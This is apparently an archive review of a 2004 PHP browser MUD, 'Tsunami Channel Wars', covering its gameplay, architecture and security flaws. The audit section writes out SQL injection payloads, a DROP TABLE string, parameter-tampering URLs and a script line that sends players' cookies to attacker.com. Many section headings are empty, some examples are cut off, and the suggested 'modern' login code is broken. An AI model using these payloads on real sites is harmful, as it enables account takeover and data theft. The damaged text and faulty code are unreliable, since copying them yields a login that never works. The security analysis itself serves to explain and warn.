Name: Tsunami Channel Wars (TCW)
Version: 2.0.2
Total Files: 89
Total Size: 0.16 MB
Created Date: March 21, 2004 (version 2.0.1 SQL)
Last Updated: March 23, 2004 (version 2.0.2)
Author: Drakahn
Project Leader: Drakahn
Copyright: Not specified
License: Open source (no specific license mentioned)
Project URL: http://drakahn.kawanda.net:1155/ (defunct)
PHP Version: PHP 4.3.5RC3
Database: MySQL 3.23.55 with MyISAM engine
Server: Apache-based web server
Developer Team:
Note: ReadMe states "there are other people in the team that have not contributed yet"
| File Type | Count | Total Size (MB) | Purpose |
|---|---|---|---|
| .php | 43 | 0.093 | All game logic and pages |
| .gif | 19 | 0.004 | UI elements, icons, graphics |
| .png | 14 | 0.016 | Graphics, likely character/race images |
| .jpg | 10 | 0.037 | Images, popup graphics |
| .sql | 1 | 0.007 | Database schema |
| .inc | 1 | <0.001 | Race configuration include file |
| .txt | 1 | 0.002 | ReadMe documentation |
| Total | 89 | 0.16 | Minimal but complete package |
File Distribution Analysis:
Naming Convention Note: All game files use .001.php extension suggesting a "world" or "realm" system where different versions (.002.php, .003.php) can exist for alternate game worlds.
Platform: Web-based LAMP stack MUD/RPG
Frontend: Simple HTML with minimal styling
Backend: Pure PHP procedural code
Communication: Page-based navigation (?p=pagename)
Session Management: Cookie-based authentication (email/pass)
Real-time Updates: None (page refresh required)
Game Engine: Turn-based with automated timers
World System: Multi-world support (.001, .002, .003 file variants)
Tsunami Channel Wars (TCW) is a text-based browser MUD RPG - described by the author as a "php/mysql 'point and click' text based browser mud rpg" or "pmpactbbmr" (tongue-in-cheek abbreviation). Players create characters, choose races and classes, engage in turn-based PvP combat, level up through experience, and participate in a persistent online world.
The game is a hobby project created by Drakahn and team, offered as open-source for others to play or run their own instances. The "BackyardBoxin - tcw v2-0-2" directory name suggests this was bundled with or sold alongside Backyard Boxin, though they are completely separate games.
Genre: Browser-based MUD/RPG / Text-based Adventure / PvP Combat Game
Theme: Fantasy/Sci-Fi hybrid (references to clones, realms, mana)
Game Style: Turn-based stat-building with persistent world
Target Audience: MUD enthusiasts, retro RPG players
Gameplay Pace: Slow-paced (turn-based, stat grinding)
Setting: Multiple parallel "worlds" or realms
Starting Stats:
Race System:
Class System:
Level System:
// Experience to next level calculation:
$expn = (($level * 50) + ($level * 15)) * $level
Example:
Level 1: ((1*50) + (1*15)) * 1 = 65 exp
Level 5: ((5*50) + (5*15)) * 5 = 1,625 exp
Level 10: ((10*50) + (10*15)) * 10 = 6,500 exp
Level Up Rewards:
AP (Ability Points) System:
Turn-Based PvP:
The game uses an asynchronous turn-based combat system tracked in the battle table:
Combat Flow:
Attack Options:
Damage Formula:
// Normal strike:
damage = attacker_offense - defender_defense
if (damage < 0) damage = 0;
// Critical hit:
damage = (attacker_offense - defender_defense + 1) * 3
// Counter on miss:
counter = (defender_offense - attacker_defense + 1) * 2
Death & Consequences:
Combat Restrictions:
NPC Battle Table:
Separate system for fighting computer-controlled enemies:
Starting NPC:
System designed for expansion with more NPCs (team member: PIG:GY)
Multi-World Architecture:
Files use naming convention: filename.worldid.php
stimits.001.php, fight.001.php, overview.001.phpworld varchar(20)System Logic:
`php
if (file_exists("$p.$stat[world].php")) {
include("$p.$stat[world].php"); // World-specific version
} else {
include("$p.001.php"); // Default version
}
`
Purpose:
Special World Features:
Currency:
Casino Games:
Energy Mechanics:
Mana System:
Effects Table:
Chat System (chat.001.php, chatmsgs.php):
Mail System (mail.001.php):
Forum System (forums.001.php):
Log System (log.001.php):
Directory (directory.001.php):
View Player (view.001.php):
Account Management (account.001.php):
Basic Structure:
Time Table (3 columns):
All initialized to 1 (likely placeholder)
Purpose:
Items (items.001.php):
Skills (useskills.001.php):
Premium account upgrades:
Three Warp Files:
Admin Panel (admin.001.php):
Admin Cast (admincast.php):
Updates System (updates.001.php):
Unknown mechanic - possibly:
Unknown mechanic (acronym unclear):
9 Tables (MyISAM):
Database Activity Evidence:
This was a genuinely played game with real community.
Turn-based PvP combat
Level system with experience
Multi-stat character system (8 stats)
NPC combat framework
Multi-world/realm system
Chat system
Mail system
Forum with replies
Event log
Profile system
Casino games (slots, craps)
Timer-based regeneration
Death and revival system
IP tracking
Referral tracking
Admin panel
Update/news system
Two-currency economy
Status effects system
Directory/player search
Account management
Win/loss tracking
Feature Completeness: 70%
Core gameplay works, but major systems unfinished.
Race system (only "Clone" exists)
Class system (only "cheat" placeholder)
Items/equipment system (mentioned, not implemented)
Skills system (file exists, incomplete)
Clan system (referenced, incomplete)
Multiple NPCs (only Sheep exists)
CBD system (unclear purpose)
Clock Tower mechanic (unclear)
Upgrade system details
Warp system documentation
Strong Design Elements:
Well-Architected Features:
Strengths:
Weaknesses:
Code Audit Examples:
// From index.php - Multiple vulnerabilities:
$stat = mysql_fetch_array(mysql_query(
"select * from players where email='$email' and pass='$pass'"
));
// Issues:
// 1. SQL injection ($email, $pass directly concatenated)
// 2. No prepared statements
// 3. Password appears plain text or MD5 (varchar 32)
// 4. Global variables
// From fight.001.php - register_globals:
if($hit==1){
$damage=$stat[offense]-$fight[defense];
mysql_query("update players set hp=hp-$damage where id=$fight[id]");
}
// Issues:
// 1. $hit comes from GET/POST/COOKIE (register_globals)
// 2. SQL injection ($damage, $fight[id])
// 3. No validation
// 4. No error checking
Overall Code Quality Rating: 3/10
For a 2004 hobby project, this is typical amateur code. It works (139 players, 10K log entries prove it), but has zero security. The multi-world system shows creative thinking, but implementation is dangerous.
What This Codebase Is Good For Today:
NOT Recommended For:
Minimal Setup (DANGEROUS):
Server Requirements:
Installation Steps (from ReadMe):
Critical Issues:
Estimated Effort: 400-600 hours (10-15 weeks full-time)
1. PHP Modernization (150-220 hours)
Critical Changes:
Example Modernization:
`php
// OLD (2004):
$stat = mysql_fetch_array(mysql_query(
"select * from players where email='$email' and pass='$pass'"
));
// MODERN (2024):
$stmt = $pdo->prepare(
"SELECT * FROM players WHERE email = ? AND pass = ?"
);
$stmt->execute([$email, password_hash($pass, PASSWORD_ARGON2ID)]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if ($user && password_verify($inputPass, $user['pass'])) {
$_SESSION['user_id'] = $user['id'];
}
`
2. Security Overhaul (120-180 hours)
Critical Vulnerabilities:
Required Security Implementations:
3. Database Modernization (40-60 hours)
4. Frontend Modernization (80-120 hours)
5. Combat System Enhancement (30-50 hours)
6. Feature Completion (80-120 hours)
Complete Unfinished Systems:
7. Testing & Quality Assurance (40-60 hours)
Total Estimated Modernization Cost: $20,000 - $60,000 at industry rates
Verdict: The multi-world architecture is innovative, and the asynchronous turn-based combat is clever for web games. However, the codebase is 70% incomplete and the implementation is catastrophically insecure.
Building from scratch would be 30-40% faster:
The only reusable elements are:
What Works Well:
What Doesn't Work:
Grade: D+ (Functional core, dangerous implementation, incomplete)
The game worked for 139 real players (10,579 log entries don't lie), proving the design is solid. However, security is non-existent and major systems are unfinished. As a hobby project it's impressive; as production code it's catastrophic.
CRITICAL SECURITY RISKS (Severity: 10/10):
1. SQL Injection Everywhere:
`php
// From fight.001.php:
$fight = mysql_fetch_array(mysql_query(
"select * from players where id='$battle'"
));
// Attacker: ?battle=1' OR '1'='1
// Result: Bypasses all checks, gains admin access
`
2. Authentication Bypass:
`php
// From index.php:
$stat = mysql_fetch_array(mysql_query(
"select * from players where email='$email' and pass='$pass'"
));
// Attack: email=
// Result: Login as anyone without password
`
3. Password Storage:
4. register_globals Exploitation:
`php
// From fight.001.php:
if($start==yes){
mysql_query("INSERT INTO battle...");
}
// Attack: ?start=yes&stat[id]=1&battle=999
// Result: Manipulate any variable, bypass checks
`
5. XSS Everywhere:
`php
// From overview.001.php:
print "Record: $stat[wins]/$stat[losses]/$rt
";
print "Last Killed: $stat[lastkilled]
";
// Attack: Set username to:
// Result: XSS on every page showing the user
`
6. Combat Manipulation:
`php
// From fight.001.php:
if($hit==1){
$damage=$stat[offense]-$fight[defense];
mysql_query("update players set hp=hp-$damage where id=$fight[id]");
}
// Attack: ?hit=1&stat[offense]=9999999
// Result: One-shot kill anyone
`
7. Level Manipulation:
`php
// From index.php:
if($stat[level]<1){
mysql_query("update players set level=5 where id=$stat[id]");
}
// Attack: ?stat[level]=0
// Result: Instant level 5, triggers repeatedly
`
8. No Admin Protection:
Real-World Attack Scenarios:
Scenario 1: Instant Admin (10 seconds)
`sql
-- In email field:
admin' OR rank='Admin'; UPDATE players SET rank='Admin' WHERE id=1; --
`
Result: Grant yourself admin, full database access
Scenario 2: God Mode (5 seconds)
`
http://site.com/index.php?stat[offense]=999999&stat[defense]=999999
&stat[hp]=999999&stat[level]=999
`
Result: Invincible character, one-shot everyone
Scenario 3: Database Wipe (2 minutes)
`sql
-- In any input field:
'; DROP TABLE players; DROP TABLE battle; --
`
Result: Entire game database destroyed
Scenario 4: Session Hijacking (1 minute)
// In profile:
document.location='http://attacker.com/steal?cookie='+document.cookie;
Result: Steal all player sessions viewing profile
Impact Assessment:
DO NOT DEPLOY THIS CODE TO ANY INTERNET-ACCESSIBLE SERVER
The 139 players who played this game had their passwords, emails, and IPs completely exposed. If the server was ever compromised (likely), all player data was stolen.
Innovation Score: 6/10 (for 2004)
Innovative Elements:
Multi-World Architecture - Genuinely Creative
Asynchronous Turn-Based Combat - Clever Solution
Standard Elements:
Uniqueness Score: 4/10
TCW is one of thousands of browser MUDs from 2003-2006. The multi-world system is its main distinguishing feature. Otherwise, it's a standard text-based RPG with unfinished race/class systems.
Historical Significance:
Represents the hobby MUD developer era (2000-2006) where individuals built and hosted their own games:
The market died with:
TCW represents pure hobby game development - built for fun, not profit.
vs. Kingdom of Loathing (2003):
vs. Urban Dead (2005):
vs. Other Browser MUDs (hundreds existed):
Market Position: Lower-tier hobby project. Small community, unfinished features, but functional core. Typical of the era.
Bottom Line:
Tsunami Channel Wars was an ambitious hobby project with innovative ideas (especially the multi-world architecture). The asynchronous turn-based combat system is clever, and the evidence of real community (139 players, 10,579 log entries) proves the core gameplay worked.
Strengths:
Fatal Flaws:
Modern Value: Low except as:
If building a browser MUD today:
Bottom Line
This represents the golden age of hobby MUD development - passionate individuals building games for small communities, sharing source code freely, working in teams despite geographic distance. The code is dangerous and incomplete, but the spirit of community game development is admirable.
| Historical Value | ★★★☆☆ 3/5 - Represents hobby MUD era well |
|---|---|
| Code Quality | ★★☆☆☆ 2/5 - Functional core, catastrophic security |
| Game Design | ★★★☆☆ 3/5 - Multi-world system innovative, 70% incomplete |
| Innovation | ★★★★☆ 4/5 - Multi-world & async combat forward-thinking |
| Security | ☆☆☆☆☆ 0/5 - Catastrophic vulnerabilities everywhere |
| Community Evidence | ★★★★★ 5/5 - 139 players, 10,579 log entries! |
| Overall Grade | D+ Innovative ideas, dangerous implementation, incomplete |
available
Running many of the scripts in this archive on a live server presents a serious security risk. These projects were created before modern hardening practices and may contain vulnerabilities that can compromise your system.
We strongly recommend using this code for reference and analysis only, or in isolated local environments. By downloading these files, you accept full responsibility for their use.